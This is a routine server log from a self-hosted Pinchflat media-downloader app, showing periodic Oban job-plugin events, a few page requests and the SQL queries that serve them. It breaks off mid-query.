{"source":"oban","duration":1044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:00.662 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:37:22.817 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:52.819 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:00.663 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:38:22.821 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:52.822 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:00.665 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:39:22.825 [info] {"source":"oban","duration":2440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:52.827 [info] {"source":"oban","duration":2062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:00.667 [info] {"source":"oban","duration":1764,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:40:22.829 [info] {"source":"oban","duration":1144,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:52.831 [info] {"source":"oban","duration":1016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:00.669 [info] {"source":"oban","duration":542,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:41:22.833 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:52.836 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:00.670 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:42:22.838 [info] {"source":"oban","duration":1885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:52.842 [info] {"source":"oban","duration":2170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:00.671 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:43:22.844 [info] {"source":"oban","duration":958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:52.846 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:00.673 [info] {"source":"oban","duration":1189,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:44:22.848 [info] {"source":"oban","duration":957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:52.851 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:00.675 [info] {"source":"oban","duration":1742,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:45:22.852 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:52.854 [info] {"source":"oban","duration":1107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:00.679 [info] {"source":"oban","duration":2264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:46:22.856 [info] {"source":"oban","duration":941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:52.858 [info] {"source":"oban","duration":776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:00.681 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:47:22.860 [info] {"source":"oban","duration":899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:52.862 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:00.685 [info] {"source":"oban","duration":3481,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:48:22.863 [info] {"source":"oban","duration":792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:52.865 [info] {"source":"oban","duration":858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:00.686 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:49:22.867 [info] {"source":"oban","duration":913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:52.869 [info] {"source":"oban","duration":1143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:00.687 [info] {"source":"oban","duration":586,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:50:13.617 [info] GET / 01:50:13.617 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 01:50:13.618 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=1055.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:50:13.620 [debug] QUERY OK source="media_profiles" db=1.1ms idle=1056.0ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 01:50:13.620 [debug] QUERY OK source="sources" db=0.3ms idle=1057.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 01:50:13.722 [debug] QUERY OK source="media_items" db=101.5ms idle=1057.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:50:13.729 [debug] QUERY OK source="media_items" db=6.9ms idle=945.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:50:13.730 [debug] QUERY OK source="settings" db=0.1ms idle=111.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:50:13.730 [debug] QUERY OK source="settings" db=0.3ms idle=110.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:50:13.731 [debug] QUERY OK source="settings" db=0.5ms idle=110.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:50:13.733 [debug] QUERY OK source="tasks" db=0.6ms idle=10.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 01:50:13.733 [debug] QUERY OK source="media_items" db=0.2ms idle=4.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:50:13.735 [debug] QUERY OK source="media_items" db=1.4ms idle=3.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 01:50:13.756 [debug] QUERY OK source="media_items" db=20.9ms idle=5.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 01:50:13.759 [debug] QUERY OK source="media_items" db=2.0ms queue=0.1ms idle=25.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 01:50:13.762 [debug] QUERY OK source="sources" db=2.5ms idle=26.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 01:50:13.764 [info] Sent 200 in 146ms 01:50:14.421 [info] GET / 01:50:14.421 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 01:50:14.422 [debug] QUERY OK source="settings" db=0.2ms idle=686.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:50:14.422 [debug] QUERY OK source="media_profiles" db=0.2ms idle=665.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 01:50:14.423 [debug] QUERY OK source="sources" db=0.4ms idle=663.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 01:50:14.424 [debug] QUERY OK source="media_items" db=0.8ms idle=661.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:50:14.424 [debug] QUERY OK source="media_items" db=0.3ms idle=645.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:50:14.425 [debug] QUERY OK source="settings" db=0.3ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:50:14.425 [debug] QUERY OK source="settings" db=0.3ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:50:14.426 [debug] QUERY OK source="settings" db=0.5ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:50:14.427 [debug] QUERY OK source="tasks" db=0.1ms idle=3.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 01:50:14.428 [debug] QUERY OK source="media_items" db=0.4ms idle=3.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:50:14.428 [debug] QUERY OK source="media_items" db=0.5ms idle=3.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 01:50:14.431 [debug] QUERY OK source="media_items" db=2.0ms idle=3.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 01:50:14.432 [debug] QUERY OK source="media_items" db=0.7ms queue=0.3ms idle=4.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 01:50:14.433 [debug] QUERY OK source="sources" db=0.1ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 01:50:14.434 [info] Sent 200 in 13ms 01:50:22.871 [info] {"source":"oban","duration":1258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:52.873 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:00.689 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:51:22.874 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:52.876 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:00.690 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:52:22.877 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:52.879 [info] {"source":"oban","duration":823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:00.692 [info] {"source":"oban","duration":1245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:53:22.881 [info] {"source":"oban","duration":899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:52.883 [info] {"source":"oban","duration":871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:00.693 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:54:22.885 [info] {"source":"oban","duration":979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:52.887 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:00.694 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:55:22.889 [info] {"source":"oban","duration":826,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:52.891 [info] {"source":"oban","duration":1075,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:00.696 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:56:22.893 [info] {"source":"oban","duration":760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:52.895 [info] {"source":"oban","duration":1046,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:00.697 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:57:22.897 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:52.899 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:00.698 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:58:22.901 [info] {"source":"oban","duration":793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:49.935 [info] GET /sources/1/media/410 01:58:49.935 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "410", "source_id" => "1"} Pipelines: [:browser] 01:58:49.937 [debug] QUERY OK source="media_items" db=0.3ms queue=0.8ms idle=1371.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [410] 01:58:49.938 [debug] QUERY OK source="sources" db=0.8ms idle=1373.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 01:58:49.939 [debug] QUERY OK source="tasks" db=1.4ms queue=0.6ms idle=1373.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [410] 01:58:49.941 [debug] QUERY OK source="oban_jobs" db=1.1ms idle=1177.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [198, 251] 01:58:49.942 [debug] QUERY OK source="settings" db=0.4ms idle=176.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:58:49.942 [debug] QUERY OK source="settings" db=0.4ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:58:49.943 [debug] QUERY OK source="settings" db=0.4ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:58:49.944 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 01:58:49.946 [info] Sent 200 in 10ms 01:58:50.490 [info] CONNECTED TO Phoenix.LiveView.Socket in 31µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "cgUPJRYjCjc1GBQ8RFJ6Nx40JQAeDB0-8V6vBFPALmLywa5AMaG8VFUL", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.oddbox.tech/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.oddbox.tech/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 01:58:50.983 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "JS9STeZvyuXE33OvSUb8HJHr"} 01:58:50.984 [debug] Replied in 509µs 01:58:52.903 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:00.699 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:59:16.065 [info] GET / 01:59:16.065 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 01:59:16.066 [debug] QUERY OK source="settings" db=0.3ms idle=1501.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", 